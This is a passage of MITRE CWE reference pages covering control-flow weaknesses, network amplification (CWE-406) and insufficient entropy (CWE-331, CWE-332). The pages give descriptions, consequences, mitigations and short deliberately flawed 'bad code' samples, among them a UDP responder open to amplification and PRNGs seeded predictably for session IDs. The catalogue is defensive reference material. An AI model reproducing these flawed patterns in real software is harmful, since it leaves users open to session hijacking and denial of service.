ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.670Always-Incorrect Control Flow Implementation
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.696Incorrect Behavior Order
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.705Incorrect Control Flow Scoping
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.768Incorrect Short Circuit Evaluation
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.799Improper Control of Interaction Frequency
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.834Excessive Iteration
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.841Improper Enforcement of Behavioral Workflow
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1265Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1279Cryptographic Operations are run Before Supporting Units are Ready
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1281Sequence of Processor Instructions Leads to Unexpected Behavior
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Alter Execution Logic

+ Demonstrative Examples

Example 1

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)
Example Language:
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */


pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)
Example Language:
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;


/* access shared resource */


return pthread_mutex_unlock(mutex);
}

Example 2

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

(bad code)
Example Language:
if (condition==true)
Do_X();
Do_Y();

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 3

This function prints the contents of a specified file requested by a user.

(bad code)
Example Language: PHP 
function printFile($username,$filename){

//read file into string
$file = file_get_contents($filename);
if ($file && isOwnerOf($username,$filename)){
echo $file;
return true;
}
else{
echo 'You are not authorized to view this file';
}
return false;
}

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

+ Observed Examples
ReferenceDescription
Chain: Creation of the packet client occurs before initialization is complete (CWE-696) resulting in a read from uninitialized memory (CWE-908), causing memory corruption.
chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint).
Chain: off-by-one error (CWE-193) leads to infinite loop (CWE-835) using invalid hex-encoded characters.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is extremely high-level, a Pillar. However, classification research is limited for weaknesses of this type, so there can be gaps or organizational difficulties within CWE that force use of this weakness, even at such a high level of abstraction.

Comments:

Where feasible, consider children or descendants of this entry instead.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
WASC40Insufficient Process Validation
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2008-11-24CWE Content TeamMITRE
updated Relationships
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-05-27CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-09-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Maintenance_Notes, Other_Notes, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Relevant_Properties
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Type
2020-06-25CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes
2023-01-31CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples, Relationships
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

Weakness ID: 406
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor.
+ Extended Description
In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.405Asymmetric Resource Consumption (Amplification)
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.941Incorrectly Specified Destination in a Communication Channel
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Operation
Architecture and DesignIf the application uses UDP, then it could potentially be subject to spoofing attacks that use the inherent weaknesses of UDP to perform traffic amplification, although this problem can exist in other protocols or contexts.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Amplification; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

System resources can be quickly consumed leading to poor application performance or system crash. This may affect network performance and could be used to attack other systems and applications relying on network performance.
+ Demonstrative Examples

Example 1

This code listens on a port for DNS requests and sends the result to the requesting address.

(bad code)
Example Language: Python 
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
data = sock.recvfrom(1024)
if not data:
break

(requestIP, nameToResolve) = parseUDPpacket(data)
record = resolveName(nameToResolve)
sendResponse(requestIP,record)

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

+ Observed Examples
ReferenceDescription
Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses.
DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.
Large datagrams are sent in response to malformed datagrams.
Game server sends a large amount.
composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

An application must make network resources available to a client commensurate with the client's access level.

Phase: Policy

Define a clear policy for network resource allocation and consumption.

Phase: Implementation

An application must, at all times, keep track of network resources and meter their usage appropriately.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1382ICS Operations (& Maintenance): Emerging Energy Technologies
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

This can be resultant from weaknesses that simplify spoofing attacks.

Theoretical

Network amplification, when performed with spoofing, is normally a multi-channel attack from attacker (acting as user) to amplifier, and amplifier to victim.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERNetwork Amplification
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Enabling_Factors_for_Exploitation, Name, Other_Notes, Theoretical_Notes
2010-06-21CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Network Amplification

CWE-331: Insufficient Entropy

Weakness ID: 331
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.330Use of Insufficiently Random Values
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.332Insufficient Entropy in PRNG
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.333Improper Handling of Insufficient Entropy in TRNG
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1213Random Number Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.310Cryptographic Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.330Use of Insufficiently Random Values
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Other

Technical Impact: Bypass Protection Mechanism; Other

An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.
+ Demonstrative Examples

Example 1

This code generates a unique random identifier for a user's session.

(bad code)
Example Language: PHP 
function generateSessionID($userID){
srand($userID);
return rand();
}

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

This example also exhibits a Small Seed Space (CWE-339).

Example 2

The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

(bad code)
Example Language: Java 
String GenerateReceiptURL(String baseUrl) {
Random ranGen = new Random();
ranGen.setSeed((new Date()).getTime());
return(baseUrl + ranGen.nextInt(400000000) + ".html");
}

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

+ Observed Examples
ReferenceDescription
Insufficiently random data used to generate session tokens using C rand(). Also, for certificate/key generation, uses a source that does not block when entropy is low.
Chain: insufficient precision (CWE-1339) in random-number generator causes some zero bits to be reliably generated, reducing the amount of entropy (CWE-331)
+ Potential Mitigations

Phase: Implementation

Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1170SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsufficient Entropy
WASC11Brute Force
CERT C Secure CodingMSC32-CExactProperly seed pseudorandom number generators
+ References
[REF-207] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Maintenance_Notes, Observed_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-332: Insufficient Entropy in PRNG

Weakness ID: 332
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.331Insufficient Entropy
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart

If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.
Access Control
Other

Technical Impact: Bypass Protection Mechanism; Other

If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users.
+ Likelihood Of Exploit
Medium
+ Observed Examples
ReferenceDescription
Chain: JavaScript-based cryptocurrency library can fall back to the insecure Math.random() function instead of reporting a failure (CWE-392), thus reducing the entropy (CWE-332) and leading to generation of non-unique cryptographic keys for Bitcoin wallets (CWE-1391)
security product has insufficient entropy in the DRBG, allowing collisions and private key discovery
+ Potential Mitigations

Phases: Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.

Phase: Architecture and Design

When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.861The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1152SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPInsufficient entropy in PRNG
The CERT Oracle Secure Coding Standard for Java (2011)MSC02-JGenerate strong random numbers
+ References
